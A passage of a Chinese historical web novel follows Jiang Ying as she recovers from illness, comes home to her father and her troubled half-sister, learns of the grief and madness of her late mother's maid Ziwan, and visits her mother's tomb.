“阿蘅!”
“贵主!”
哀痛的哭声,和凄厉的惨叫交织一起。
一个青衫女郎哭着扑到床榻旁,她梳妇人髻,听人喊她紫菀。
“贵主、大娘子!不要丢下我!求求你,不要丢下我——!”
她像是疯魔一般,跪在萧晞的身边,小心翼翼捧着她的手,“大娘子,你忘了还有我,我从小跟着您,我要一直跟着您的……”
她存了死志,要为贵主殉葬。
可就在这时,一只小手颤抖着抓住她的衣衫。
“紫姨。”
紫菀低头看见姜璎,她神情茫然,小脸不知不觉爬满了泪水。
这一刻,已经过世的主子的面庞,仿佛与小主人的脸蛋重叠。
“贵主……姑娘。”紫菀喃喃自语,紧紧抱住了姜璎,她哭得撕心裂肺,哭得肝肠寸断,短短几日的功夫,头发白了大半。
姜璎胸口闷痛得喘不过气来。
她一会儿喊着“阿娘”,一会儿喊着“赵咎”,姜珞在一旁竖起耳朵,望眼欲穿,等了半天也没听见自己的名字。
这怎么病了也偏心啊……
姜珞瘪了瘪嘴,笨拙又小心地递过去一块冰凉的帕子。
赵咎敷在姜璎额头上,“阿池,来张嘴。”
他先用汤匙沾了沾糖水给姜璎润唇,哄着她微微张开嘴,就赶忙喂了几勺汤药进去。
姜珞不甘示弱,争着表现:“姐姐,我给你唱童谣
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!我唱童谣可好听了!”
姜璎恍惚间仿佛看见了母亲。
母亲唱着童谣哄她入睡。
但这一次,母亲只推她,“还睡呢?天都亮了,阿石,阿娘的心肝小宝贝,快醒醒,阿娘给你准备了一个惊喜。”
天蒙蒙亮。
姜璎大梦初醒。
她张了张嘴,声音沙哑,“我……”
赵咎眼疾手快,赶紧喂了一勺汤药到她嘴里,“咽下去!”
姜璎:“嗯……”
好苦。
赵咎:“再来一口。”
姜璎闭了闭眼,乖乖张嘴。
一勺又一勺,小半碗药见底,向氏喜极而泣,能吃药就是有了好转!
“姐姐,你有没有好一点?”姜珞连忙问。
姜璎说话费劲,只点了点头。
姜珞松了口气,挪着屁股坐到她身边,没有像平时一样依偎,而是轻轻捏住一片衣角,仿佛这样就能拥有十足的安全感。
姜璎睡了一天一夜,但精神头依旧疲惫。
梦境不间断,比醒着还要累。
赵咎感受着她身上的热度一点点散去,心里松了口气。
向氏端来一碗热乎乎的米粥,红枣去皮煮软,姜璎吃了几口,算是恢复了一点力气。
她靠在赵咎怀里,问到哪儿了。
姜珞抢答道:“姐姐,再有几十里路,就入秦州境内了。”
赵咎摩挲着她的手掌心,低声道:“我先送你回姜家。”
“那你呢?”
“我去拜见岳父。”赵咎半开玩笑道,“没把你照顾好,这顿挂落是少不了的。”
姜璎也笑,轻声道:“不怕,我保护你。”
话音刚落,一阵嘈嘈马蹄声由远及近,部曲禀报道:“郎君,女君!是姜家!”
姜昀自得知女儿启程,便计算着日子,今日天还没亮就骑马赶来。
姜璎坐起了身子,让香薷几个把剩下的汤药处理了。
“阿池!”外头响起姜昀的声音。
“不许告诉父亲。”姜璎叮嘱道,又轻轻捏了一下赵咎手心,像是在说:我保护你。
赵咎哑然,眼眶倏忽泛红。
第205章 残缺
向氏等人在姜璎的叮嘱下不敢多嘴,但姜昀也不是傻的,一眼就看出了姜璎面色不对。
“怎么回事?”姜昀摸了摸女儿的额头,转而目光如刀看向赵咎,他就是这么照顾阿池的?
“爹爹。”姜璎轻轻拉了一下姜昀,“我方才……梦见阿娘了。”
姜昀神情蓦地一滞,喉咙滚了滚,好半天才找回自己的声音。
“这样、这样啊。”
他点了点头,颇有些仓促的意味,眼神一闪而过湿润,又被很好地控制住情绪。
姜昀深吸一口气,“爹爹好久没看见你了,过来,我们父女俩好好说说话。”
姜璎应是,跟在父亲身后上了牛车。
他们赶路的中途换了一次马车,马车虽快,但到底不如牛车宽敞平稳。这也是为什么姜璎会晕车的缘故。
姜珞捏着手,慢慢耷拉下脑袋。
没人理她。
父亲年纪大了老眼昏花,可以理解。
但姐姐怎么也看都不看她一眼?
正要进车厢的姜璎似有所感,偏头对甘棠道:“让二姑娘过来帮我们煮茶。”
甘棠过去把话原模原样转达给姜珞。
神奇的一幕很快发生。
原先蔫巴巴的人在顷刻间焕然一新,宛如起死回生!
姜珞乐颠颠地上了牛车,有姜昀在,她老老实实不敢逾矩半分,但眉眼间的欣喜却是怎么都遮掩不住。
姜昀就算出门在外也颇为讲究,煮茶用的是林中山泉,薰衣用的是荷叶清香,沸水翻滚时,再放入银针,徐徐展开的绿芽在袅袅雾气的衬托下,如人间仙境。
姜珞自小学习煮茶,还不至于在这上面犯错。
她恭恭敬敬给父亲端去茶盏,看向姜璎时有所迟疑,姐姐大病初愈,要不还是另外让人弄点参茶提提气吧?
“给我吧。”姜璎接过茶盏,抿了一口润润唇。
“你梦见你阿娘,她可有说什么?”姜昀等了半天,还是没忍住问了出来。
他已经很久很久,数不清有多少年没有梦到妻子。
姜昀知道,阿蘅怨他。
怨他没有照顾好女儿。
大郎和二郎夭折之后,他们就只剩下阿石一个孩子。
可他却连这点小事都做不好,阿蘅怪他怨他,不肯入他梦里,也是应该的。
姜昀低叹:“爹爹对不住你。”
提到往事,姜珞恨不能缩成一个鹌鹑,真要算起来,她才是罪魁祸首!她害得姐姐被人掳走,流落他乡,吃尽苦头。
姜璎轻声道:“我梦见爹爹抱我,胡渣子戳得我直哭,爹爹手足无措,只能求助阿娘。”
姜昀愣了一下,喉咙干涩道:“那是你小时候的事……”
姜璎点点头,“我在梦里看不清阿娘的脸,只听她催我快醒醒,不要睡了。”
“醒来以后,爹爹正好赶到。”
“我想……兴许阿娘知道,是爹爹来接我回家了。”
最后一句正中姜昀心窝。
他抬手摁了摁眼角,几次三番开口,却是控制不住哽咽。
好好一个大男人,愣是给姜璎说破防了。
“你阿娘她……”
“阿娘想我,也想爹爹。”姜璎肯定道,她靠在父亲的肩头,“或许是阿娘在天之灵,一直保佑我,我才能跟爹爹团聚。”
“还有我……”边上冒出一个弱弱的声音。
姜璎好笑地看了姜珞一眼,从善如流改口:“我才能和爹爹、浓浓团聚。”
姜珞嘿嘿一笑。
姜昀这会儿倒也分了些眼神给次女,“你不留在京中备嫁,回来做什么?”
“是我让她回来的。”姜璎一力揽下责任,“帝后大婚,理应隆重,我那会儿是情况特殊,但浓浓……还是在老家备嫁比较好。”
这点小事,姜昀自然不会驳了女儿面子,点头道:
“回来也好,磨磨性子。”
“爹爹,我听说安奉现在情况不容乐观?”姜璎问道。
安奉是秦州底下的一个县,赵咎把妻子交给岳父,便不再耽搁,改换快马带着人直奔安奉。
骑马需要一整日的功夫。
姜璎不会在姜家久住,肯定还是要去安奉的,赵咎提前让人把房屋收拾了,做不到和盛京条件一样,但至少不能差太多。
匈奴在边境蠢蠢欲动,如
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今还只是小打小闹。
但明眼人都能看出来,大魏跟匈奴打仗,是迟早的事。
“粮草……”
“你放心,陛下有数。早在两个月前,就已经暗中派人秘密押运粮草到秦州。”
姜昀拍了拍女儿的手,心里有些酸溜溜,他任秦州刺史好几个月,大事小事不断,也没见姜璎关心他。
姜璎心中暗叹,打仗不论输赢,苦的都是百姓。
马上就入冬了,今年的秦州,还不知道又要死多少人。
牛车很快停下来。
姜家的下人一路洒水铺地衣,确保主子下车可以足不染尘。
“你好久没回家,这段时日,就在家陪陪爹爹。”
“嗯。”
姜璎的手轻轻放在姜昀掌心,踩着矮凳一步步走下去。
她抬头望去,入目便是大门两侧竖立的两根大柱,左为“阀”,右为“阅”,上头密密麻麻记载了天水姜氏先辈的功绩官历,十分恢宏壮观。
是任何一个姜家人看见,都会引以为傲的程度。
姜珞跟在姜璎身后,亦步亦趋,踏进这大门,她的神情肉眼可见紧绷起来。
“老爷回来了,大姑娘回来了!”
整个姜家上下,等这一日等了好久好久。
后院一处偏僻佛堂。
妇人停止了诵经声,她双手合拢,对着一个牌位下拜,“贵主,姑娘回来了,奴婢总算能去见您了……”
她背脊弯曲,满头银白。
下拜时双手交叠额前,十指残缺。
有仆人来喊,“紫姨娘,老爷传唤。”
小佛堂没有动静,好半天才传出一声“我这就过去”。
苍白无力的声音。
风一吹就散了。
另一边,姜璎察觉到姜珞自从进家门开始,变得异常安静。
这种安静,就像是一潭死水。
压抑而沉闷。
她低垂着头,站在姜璎身后,心跳咚咚作响,有惶恐,也有不安。
“怎么了?”姜璎握住她的手,冰凉凉一片,“是不是哪里不舒服?”
话刚说完,甘棠禀报道:“姑娘,紫姨娘过来给您请安了。”
第206章 错误
紫菀是汝南袁氏的家生子,她的大母是袁皇后的乳母,因为这一层关系,生而丧母的她才刚学会爬,就被袁皇后抱到身边抚养,成了广陵公主的玩伴。
“咦?”
广陵公主看着地上到处乱爬的娃娃,眼眸微微睁圆,她指了指紫菀,口齿不清道:“阿妹、妹?”
听到阿姊喊自己,乳母怀里的奶娃娃揉了揉眼睛,而后蓄力发功:“啊——”
来表现自己的存在感。
广陵公主看看妹妹,又看看紫菀,一脸惊奇对母亲袁皇后道:“凉、凉个妹妹!”
把大人们逗得乐不可支。
袁皇后将爱女搂在怀里,“对,我们阿蘅有两个妹妹,一个是阿薇,一个是阿菀。”
一旁的乳母笑道:“这妹妹有了,弟弟也不能少,大娘子想不想皇后娘娘给您生一个弟弟?”
广陵公主歪着脑袋想了想,阿父说了,弟弟妹妹再多,也越不过她,因为阿蘅生来嫡长女,是兄弟姐妹中的老大!毋庸置疑!
广陵公主很快给出回答:“要弟弟!”说完掰着手指数数,双手变成两把小剪子,举高高示意,严肃道:“要拾个!”
要四个。
她之前听阿父跟大臣说,阿衡日后是辅国长公主,位同皇太子,皇太子出行四辕,阿衡当然也要四辕!
殿内用不上马车,但阿衡肯定有懒得走路的时候,妹妹娇贵,这时候弟弟就可以派上用场了。
又当驴子又当马,强身健体赛神仙!
广陵公主的雄心壮志没人知道,因为很快,她就把自己说过的话抛之脑后。
重华宫多了一个小孩,成日里热闹得不行。
随着会走会跑,她们几个开始追逐打闹,踵躅【1】成了乐此不疲的小游戏。
有次紫菀躲到了衣柜,听见袁皇后跟身边人感叹,“阿菀这孩子命苦,父亲走的早,母亲又难产……”
紫菀一脸茫然咬手指。
阿菀,命苦?
说的是她吗?
她一点儿也不命苦啊!有人美心善的娘娘,还有外冷内热的大母,最最重要的,是公主!
公主昨天还握着她的手说,她第一喜欢阿薇,第二喜欢阿菀!就连公主的表兄,姜小郎君,都要排第三呢!
阿菀很幸福,她始终觉得,自己一定是这个世上,除了两位公主以外,最幸福的小娘子!
但后来……
建康沦陷,宗亲的血渗进砖沿。
她看见二公主凄惨地哭着,她喊着“长姊”,却被人捂住嘴抱上马车。
那一刻,紫菀感到了深深的恐惧。
她像个哑巴一样紧紧跟在萧晞身边,竭力不发出一丝动静。
她不能离开公主!
一路颠沛流离,终于到了天水姜氏。
公主的姑父深深皱眉,眼中藏着悲痛,倒是姜小郎君很高兴,他同阿妹可以日日见面了!
紫菀就这样看着他们青梅竹马,从表兄妹,到夫妻。
她以为,温暖而平静的日子会这样一直持续下去。
直到大郎君和二郎君先后夭折。
大娘子终于崩溃了。
她着二郎君冰凉的身体,跪在佛前,喃喃地问:“阿父阿母一生从未犯下杀孽,我萧晞,自记事起赈灾济贫,施粥布善……为什么,为什么要一而再地带走我的孩子?”
紫菀跪在萧晞身后,痛哭出声。
“大娘子!”
她的贵主,她的大娘子,多么高贵美丽的一个女子,如今却像一朵枯萎的花,失去了所有的生命力。
依照礼法制度,无服之殇【2】不予办丧礼,更不予入祖坟。
郎君当时已是天水姜氏族长兼家主,若要一意孤行,旁人也奈何他不得。
但大娘子说了,只在姜氏祖坟留个衣冠冢,她是前朝的公主,公主死后自然随葬帝陵,而非姜氏祖坟。
她的孩子,就待在她身边,哪儿也不去。
萧晞郁郁寡欢的情况一直持续到再度有孕,这一次,她没有像之前那么高兴,反而时有愁容。
胎像稳固之后,萧晞握住紫菀的手,似不知道如何开口,“阿菀,如果这个孩子,同大郎二郎一样……”
医官说过,她的身体已经亏损严重,禁不起第四次怀孕了。
紫菀忙打断道:“呸呸呸!大娘子,这话可不兴胡说!小郎君一定健健康康的。”
萧晞轻轻一笑,紫菀从这个笑容中品出了几分苦涩。
她心中悲哀,明白大娘子准备给郎君纳妾了。
天水姜氏不能没有继承人。
但紫菀没想到的是,萧晞想要的妾室,是她。
“我?我怎么能?我怎么能!”她惊得失声,连连摇头,她怎么能做郎君的妾室呢?
“阿菀,我想要一个儿子。”萧晞道,那双藏着哀痛的凤眸,再也不如从前明亮。
紫菀说不出话了,她含着泪点头,“大娘子,你别哭、你别哭……”<
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br>她禁受不住大娘子的眼泪。
一滴一滴,把她的心都敲碎了。
萧晞生下了女儿,很快,紫菀也生下了女儿。主仆二人心中的不甘被姜昀察觉,他这次色厉内荏地警告妻子,不许再把他当成种马一样送出去!
女儿怎么了?
他们姜家的嫡长女,生来高贵!绝不会输给儿子半点!
萧晞只好作罢,她把两个孩子一同放在膝下抚养,紫菀不大赞同,“大娘子,可不能把姜珞纵得忘了自己身份!”
仿佛一语成谶。
几年后,萧晞病逝,姜璎也跟着丢失,从此以后下落不明。
紫菀每每回想,都恨不得杀了姜珞,再杀了自己!
大娘子临死前叮嘱她好好照顾姑娘,她没有做到,还让她生下的姜珞,抢了姑娘的生路。
错了,反了。
怎么能颠倒过来?
姜珞明明是她和大娘子准备给姑娘的替身啊!
紫菀披头散发,赤足握匕,一步步走向自己的女儿。
她发了疯般地质问,一遍又一遍:“为什么被带走的不是你?为什么?为什么?!为什么!!!”
年幼的姜珞被吓傻了,她说话颠三倒四,夹杂着哭泣,断断续续。
“姐姐,姐姐说,会回来接我,姐姐让我躲起来、躲好……”
**刺进心口的那一刹那,硬生生停了下来。
姜珞号啕大哭,呜啊哇啊抽泣着,“姐姐、姐姐!我要姐姐……”
是姜璎的吩咐,是姜璎的安排。
她是贵主和郎君的孩子,完美地继承了萧家的血脉。
就跟陛下一样。
哪怕身临险境,也不肯用他人换自己。
紫菀松开了姜珞,她哭得一把鼻涕一把泪,直让人恶心生厌!
“大娘子,奴婢对不起你。”
紫菀跪在地上,神情麻木。
就算郎君不怪她,她也没有任何脸面下去见大娘子了。
**狠狠落下。
血珠迸溅。
哭声骤然停止。
一根尚有余温的手指滚到了她面前。
犯了错就要受罚,姜珞的命是姜璎的,紫菀不能动她,于是子债母偿。
那一年里,小小的姜珞只记住了两件事。
——她害了姐姐,姐姐骗她。
——做错事情,就会被砍手指。
·
【1】踵躅:捉迷藏
【2】无服之殇:七岁及以下孩童夭折
第207章 癔症
看到生母走进来,姜珞连忙低下头,浑身僵直,下意识屏住呼吸。
姜璎望着来人,神情有一瞬怔忪。
她曾因为紫菀对姜珞的偏执教导,而心生不快,打定主意要同母亲留下的这位忠仆好好谈谈。
但当人真正出现在她面前,她却蓦地失去所有言语。
满头如雪的发丝,骨瘦如柴的身体,爬完皱纹的眼眸常年蒙着一层灰翳,难得露出一丝光亮,也透着浓浓暮气。
女人穿着一身浆洗发白的青衫,原先的合身在岁月的打磨中变得十分宽大,尤其两条胳膊,显得分外空荡。
她的血肉被日复一日的悔恨蚕食干净,如今只剩下一副骨架子。
“姑娘……”紫菀很轻很轻地唤了一声,嗓音微微颤抖。
她目光贪婪地描摹着姜璎的眉眼,一寸又一寸,直到姜璎微微蹙眉,才恍然惊醒,忙跪下去。
清瘦的身躯好似枯叶落地。
轻飘飘的,藏着无尽寂寥。
“紫姨。”姜璎回过神,将人扶起来,她握着紫菀的手臂,跟握着一截柴没什么两样,她心中涩然,讷讷道,“对不起……”
对不起什么?
紫菀面露惶惶,用满是皮包骨头的手去接姜璎的眼泪,“贵主、姑娘……怎么哭了呢?是不是奴婢哪里做得不好?”
姜璎道:“紫姨瘦了。”
又道:“我舍己为人,成全了自己,却罔顾大家一番心血。”
姜昀听到这句话,脚步一顿。
当年的选择,是姜璎做错了吗?
那个时候,她只有四岁,父母的言传身教早就刻在骨子里,她无法接受也做不出把姜珞推出去送死。
姜昀怪自己,怪暗卫,唯独不曾怪过女儿分毫。
她慷慨又冷静,小小年纪,就能审时度势,用跟土匪谈条件,来换取一条生路。
后面的事情谁也没有料到。
归根结底,还是他这个做父亲的无能,让女儿吃了这么多年的苦。
姜昀也曾设想过,如果姜珞没有哭闹,土匪没有生疑,姜璎顺利逃脱,这一步走得分毫不差。
是不是什么都不会发生?
可惜没有如果。
姜昀心里明白,就算姜璎真的那么做了,她面上不显,心里也会留下一辈子的伤痕。
这是她自己的选择。
她没有后悔。
所以,纵使千般不舍、万般无奈,
他始终以她为荣。
紫菀已经泣不成声,摇着头道:“不、不,都是下人不好,他们没有保护好姑娘……”
在紫菀心里,姜璎是不会有错的。
错的是下人,是姜珞。
她颤抖着身体,转身猝不及防地扇了姜珞一个耳光,近乎歇斯底里道:“该说对不起的人是你!该死的也是你!害姑娘受苦,你怎么还有脸活在这世上?!”
从清醒到癫狂,不过片刻。
所有人都被吓了一跳。
向氏生怕她神智不清,误伤姜璎,边用身体挡住她们姐妹,边呵斥道:“你说的这是什么胡话!”
紫菀还要再打,被红枣一个闪身攥住手腕,眼看就要擒拿,姜珞忙道:“别!”
她不觉得紫菀哪里说错,更何况,挨过萧止柔的巴掌以后,姨娘的力道都变成了爱的抚摸。
这巴掌连萧止柔十分之一的力道都没有。
“紫姨,你打浓浓做什么?”姜璎又气又急,把姜珞搂到怀里,小心检查了一下脸蛋,好在没留下印子。
“紫姨——”
这声警告戛然而止。
姜璎看着紫菀被掣肘着,高高举起的手,只剩下三根指头。
边上的食指和大拇指空荡荡,只有一圈疤痕,证明它们存在过的痕迹。
姜珞从姜璎怀里出来,拉开红枣,“哎呀,这么点小事你还动真格了!”她语气急切,捧着紫菀的手腕,如捧易碎珍宝。
“姨、姨娘。”略带一丝讨好地喊道。
“滚——”开字还没说出口,姜璎轻轻握住她手臂。
紫菀的怒气立马消失得无影无踪,似乎意识到了自己的失态,她低下头嗫嚅道,“姑娘,姜珞害您受了这么多苦,您万不可再纵容她。”
姜璎闭了闭眼,“她是我妹妹,被我抛下
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,何错之有?”
紫菀急急忙忙,“不,她只是一个……”
姜璎目光沉静,打断道:“浓浓早就记在母亲名下,是天水姜氏嫡次女。依照礼法家规,她做错事情,自有嫡母教诲,嫡母不在,也有女师代为管教。”
顿了顿,她像是想起什么,“紫姨,是不是已经被父亲扶为继室?”
这话捅了个天窟窿。
紫菀倏然睁大眼睛,惊恐万状,“贵主、不,姑娘!我没有!我没有对不起大娘子!”
她又跪了下去,摇着头慌乱解释,“只是对外这么说,郎君是为了姑娘,他宁可被人耻笑,也不想承受家族压力续弦一位高门贵女!我、奴婢永远是大娘子和姑娘的下人,绝没有任何僭越之心!”
所有人都说,天水姜氏家主宠妾灭妻,妻子一死,嫡女丢失,便迅速扶正妾室,这在贵族之中可谓一等一的笑柄。
许多人好奇这妾室何等人物,怎么就把姜昀迷成这样?更有甚者私下议论,说不定嫡妻和那前头两个人孩子的死,嫡女的丢失,都跟这妾室逃不脱干系!
只可惜,紫菀这些年深居简出,从未踏出后院半步。
也没人知道她究竟长什么样。
“姑娘,贵主,姑娘……”紫菀陷入了癔症,分不清面前的人是萧晞还是姜璎,她忽然哭起来,“大娘子,带我走吧,大娘子!”
她用仅剩的三指捏着姜璎的衣裙,哭着喊“大娘子”。
大娘子把她丢下了。
大娘子把她丢下了。
姜璎半扶半抱撑着她,“郎中!郎中呢?”
姜珞似乎**以为常,在一旁小心翼翼道:“姐姐,你别害怕,姨娘过一会儿就好了。”
这样的情形,在过去的十多年里,上演过无数次。
姜家的下人都不愿意靠近小佛堂。
尤其半夜三更。
那里面时常传出女鬼般的声音。
如泣如诉,幽怨非常。
“大娘子把我丢下了……”
“我熬不住,一点也熬不住。”
“贵主,怎么办啊,我找不到姑娘。”
第208章 思念
郎中给紫菀扎了针,又喂了药,让她沉沉睡去。
整个姜府才算是回到了往日的平静。
姜璎坐在床沿,静静地看了一会儿紫菀的睡颜,方才起身。
姜昀在书房等她许久,看见她来,示意道:“坐罢。”
父女俩相对而坐,姜璎微微低头,“爹爹,我没有要追责紫姨名分的意思,我只是……不希望她再插手浓浓的事。”
她没想到,自己简单的一句话,会对紫菀造成这么大的伤害。
等反应过来时,已经来不及了。
姜昀叹了口气,眼神流露一丝复杂情绪,“你阿娘对她而言,不仅是主仆,更是姐妹。”
可以说,萧晞的死,击碎了紫菀整个精神内核。
她装得若无其事,是因为还要照顾姜璎。
在她心里,姜璎是萧晞生命的延续,是她曾来过世上的证明。
后面姜璎也丢了,她彻底崩溃。
很长的一段时日,疯得不成样子。
在那种情况下,姜昀没有续娶,而是扶正她为继室,可以说承担了太多太多压力。
紫菀清醒以后,也曾哭着说对不起郎君,但她不会推让。
她要努力活着,她要牢牢占着姜家夫人的位置,她要一直等,等到姜璎回来。
她不能让姜昀续弦高门贵女,霸占大娘子的位置,也不能让其他女人生下姜昀的嫡子嫡女,取代小主人的地位。
好处她得了,骂名由姜昀来背。
紫菀说郎君对不起,求求你不要忘记大娘子。
姜昀说算我求求你了,你再哭,阿蘅回来看见还以为我怎么你了。
“你母亲偏心,对谁都好,唯独对我,心冷口冷心狠意狠。”姜昀幽幽道。
“我要寻女儿,还要替她照看妹妹。”
“远的那个,恨我恨得牙根痒痒,近的这个,嘴上说对我不住,心里估计也在骂我。”
“爹爹。”姜璎挪到父亲身边,轻轻抱住他,“阿娘知道,你对她最好。”
姜昀被哄高兴了,趁机教导女儿,“对男人不能太百依百顺,要有手段,少给好脸色!”
姜璎眨巴眨巴眼睛,仰头看着父亲。
姜昀轻咳一声,“当然了,你阿娘对我还是不错的。”
埋怨是假,思念是真。
他宿夜难眠,便细数着那些珍贵回忆,一遍又一遍,如今告诉女儿,也是告诉自己。
“我同你阿娘,向来恩爱。”
只天妒上好姻缘,不许相伴白头。
若有来生,
若有来生……
让他一人独占阿蘅吧。
秦州宵禁不严,姜昀带着女儿夜赴齐陵。
几十里路,骑马几个时辰便到了。
“阿池,这边。”
“诶。”
姜璎悄悄吸了口凉气,提裙跟上。
她路上跟着赵咎学了一段时间的骑马,但到底不熟练,几个时辰下来,下马的时候差点腿发软摔地上。
“齐陵是你大父生前所修建,只未能竣工,便逢大劫。”姜昀走在前头,侍从提着灯为山路照明。
唯一庆幸的是高炳还算个东西,让人收敛了阿舅和舅母的尸身,将之安然葬入齐陵。
梁帝虽政绩平平,但也一生无过。
史家赞曰:帝年少继位,外柔内刚,辨查仁爱,自亲征之初,免赋税、轻徭役,宽和待下,亲厚万民。及乱,忧外匈奴之大患,怜内民生之疾苦,始不动兵。英年赴死,叹而惋呼!
姜昀却道:“史书夸的好听,其实你大父不是不想打,是手里的兵压根没高炳多。那时也有官员求他,尚有百名死士,不愁离不开建康。”
姜璎道:“留得青山在,不怕没柴烧。”
姜璎赞道:“没错。但你大父不肯,他舍不下妻女,干脆舍了自己,皇位拱手相让,令剩余死士尽心尽力护送你阿娘她们离开。”
也算是保全一丝血脉。
高炳得了禅位书,又有赵堰求情,便睁一只眼闭一只眼,放了萧晞姊妹。
只其他宗亲一个不留,尤其男子,无一活口。
“郎君!”守墓人是萧家的家臣,看见姜昀半夜过来,颇为欣喜,看样子,姜昀是这里的常客了。
“这位是……”
“我与阿蘅长女,名璎,字不琢。”姜昀笑着介绍爱女,名是妻子取的,字则是他想的,他偏头对女儿道,“这是云叔,你大父生前的书童。”
姜璎跟着唤了一声“阿祖”。
云叔老泪纵横,“使不得,使不得啊!”他看着姜璎好一会儿,才低头抹眼,“璎者,石似玉也,字不琢,郎君这是不想小主人成玉成材啊。”
姜昀哈哈大笑,“阿蘅说了,但求平安喜乐,不求磨砺成材!”
云叔立马道:“那还是贵主说的在理。”
他领着两人往墓地去。
先祭拜了梁帝夫妻,再去广陵公主墓。
“地下阴气重,小主人就在上头陪贵主说说话吧。”云叔蔼声道。
姜璎近乡情怯,“我……”
她低下头,好半天才讷讷道:“我不记得阿娘的模样了。”
阿娘会不会难过?
姜昀眼眶倏忽一红,让人取来画筒。
“你看看,爹爹是不是料事如神?”他调笑道,冲女儿眨了眨眼,快速掩盖湿意。
姜璎手有些抖,点了点头说:“谢谢爹爹。”
画是姜昀所作,墓志铭也是姜昀所写。一笔一划,不肯假手于人。
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“你阿娘不爱饮酒,只爱清茶。我去煮茶,你在这里跟你阿娘说说话。”
“好。”
姜昀走远一些,但侍卫不曾离去,就站在姜璎旁边,几步之遥。
姜璎摊开画卷,美人入眼,国色倾城。
边上还有题字:【吾心明月,世誉皎洁。】
“咦?“
底下还有一行小字。
萧晞回他:【拍马屁也没用,书房待着。】
姜璎忍俊不禁,眼泪落了下来。
她把母亲的画像看了又看,墓碑擦了又擦,小声道:“阿娘,你不在的日子里,爹爹睡哪儿都一样了。他很想你,姨母和紫姨也想你。”
“只有我,忘了你一年又一年。”
她颇为沮丧低下头,“对不起,阿娘,我没有听你的话。我做了蠢事,我自讨苦吃。”
冷风拂过面颊,树叶沙沙作响。
像是一个母亲的无奈抚摸。
姜璎打开了话匣子,絮絮叨叨地说着自己的经历,“阿娘,我遇上了一个很好很好的郎君,他的大嫂二嫂也都对我很好……”
“我发现姨母做了一些不好的事情,但你别怪她,我会让她和袁老夫人少往来,姨母疼我,她会听的。”
“浓浓的想法很奇怪,得慢慢教……还有紫姨,阿娘,我不知道该怎么做,我心里有愧,又不想让她继续影响浓浓……”
姜璎叹了口气,苦恼地揉了揉脸。
又怕母亲担心,赶忙把叹的那口气吸回肚子里。
她振作道:“阿娘,等有机会,我带赵咎来看你。”
姜昀带着煮好的茶过来,姜璎小心放在母亲墓前,一阵风吹来,热气消散空中。
她望着墓志铭,上头写:【广陵长公主,名晞,字清晖,父文帝,母文敬皇后。生而尊贵,聪颖不凡,三岁乃出口成章,太傅赞曰世间奇才。】
姜璎瞅了一眼父亲,姜昀面上挂不住,“我说的是实话!”
往下是萧晞的生平,姜昀对妻子不吝赞美之词。
【姿同似月,丽等神凝。性静好学,志识高远。恩虽披物,贵不在身。】
他夸她容色皎皎,堪比仙女,夸她好学聪颖,见识高远,夸她恩泽施予他人,却从不以尊贵自居。
墓志铭通篇百余字,除了籍贯、世系、生平经历,就剩下他夸夸夸个没完没了。
直到最后,才提及死因:【因亡二子,主悲伤不能已,
于诞女三年后病薨。自此茫茫大夜,而坠明月。】
回去是坐马车。
马车较之牛车颠簸许多,但能赶在天亮之前回到姜府。
姜昀轻轻拍了拍姜璎的肩头,低声道:“靠爹爹身上睡一会儿吧,睡醒了,我们就到家了。”
第209章 不能
寅时三刻,天还没亮,姜府已经灯火通明,仆婢们井然有序地忙碌着。
“老爷,姑娘,到了。”马车停了下来,仆婢们提灯而上,伺候主子下车。
甘棠忙上前给姜璎披上一件银锻妆花的大毛斗篷,外头是桑蚕丝的面料,里头则缝了厚厚的皮子,这会儿寒气重,光捧着暖手炉已经不太够了。
父女俩一同进了书房。
他们人还没回来,书房四角已置了炭盆,儿臂粗的蜜烛将屋内照的亮如白昼,暖香扑鼻。
甫一落座,便有仆婢奉上朝食。
向氏接过来,先用羹斗舀了一勺倒入碟中,浅浅尝了一口,才对甘棠点头。甘棠命人取出姜璎平日用的食具,盛了一碗粟米粥出来,放置食案。
“你小时候嫌羊汤油腻,更喜欢粗粮一些,听阿向说你口味没怎么变。”姜昀柔声道,“时辰尚早,你用些暖暖身子,再回去补眠。自己家里,怎么随性怎么来,不必拘谨。”
姜璎点了点头,她确实有些累。
一碗热气腾腾的粟米粥下肚,身子跟着热乎起来,困意也紧随而来。
姜昀让人准备了肩舆,确保女儿不会受一点风,才对向氏几个吩咐道:“照顾好姑娘。”
“唯唯。”
另一边,姜珞也醒了,在仆婢的伺候下洗漱更衣,往姜璎的院子去。
“你说什么?姐姐不在?”
眼看这位主子要发脾气,香薷香附等人心中暗暗叫苦。
她们原先是伺候九郎的,后面才被拨到姑娘身边,论情分比不上小荷,论资历又比不上向氏,如今到了姜府,甘棠和采苓两个陪嫁丫鬟自然而然接手了主子的一切,哪里有她们说话的地儿?
一声清铃打断了姜珞的诘责。
六盏羊角风灯照亮整个院子,肩舆随之而来,姜珞迎上去,“姐姐,你去哪儿了?外头这么冷……”
是挺冷。
姜璎在肩舆里打了个瞌睡,回内室时还有些迷糊,姜珞腻在她身边,听她说去看了母亲,当下眉头一竖,仗着姜昀不在这,抱怨道:
“大父真不懂事!什么时辰去不好,偏要夜里?姐姐昨儿才退烧,要是冻着……!”
姜璎捏了捏她的脸蛋,姜珞自觉闭嘴,换上娇憨的笑,“姐姐,我陪你补眠吧,好不好?”
姜璎点了点头,她又困又累,一进被窝整个人就蜷缩成一团,香薷连忙灌了几个暖手炉塞里头。
姜璎晕乎乎,开始想念赵咎这个人形火炉。
姜珞看出姜璎怕冷,忙抓过她的手放自己肚子上,“姐姐,我给你暖手。”
隔着一层薄薄的单衣,肚子的肉肉软乎极了。
姜璎没忍住笑,抱着她睡了个尽兴。
醒来将近晌午。
姜珞睡相不好,爱挤人,睡着睡着就把脸埋姜璎肩上,硬是把姜璎蹭醒了。
姜璎:“……”
不光如此,姜珞还喜欢手脚并用,跟藤蔓似的缠上来,只把人勒得喘不过气。
姜璎推了推她脑袋,没推动。
只听见一声呓语。
“姐姐……”
她以为要醒了,结果姜珞拱了拱脑袋,又开始咂巴咂巴嘴,像是在做梦吃东西。
姜璎:“……”
睡姿差就算了,还说梦话。
她往边上侧了侧,姜珞紧闭双眼,不高兴地道:“高忱,你再动我揍死你!”
远在盛京的明惠帝忽然打了个喷嚏。
姜璎一顿,忍不住掐她脸,给姜珞疼醒了,“高、姐姐!姐姐你掐**什么……”
“梦见什么了?”姜璎问。
姜珞先是一愣,后面反应过来,脸上一闪而过心虚,很快理直气壮掐头去尾道:“他抢我东西!”
姜璎懒得理她,“起来。”
下次不跟她一起睡了。
姜珞悻悻然“哦”了一声,姐妹俩净面更衣,就听下人禀报,“大姑娘,紫姨娘想见您。”
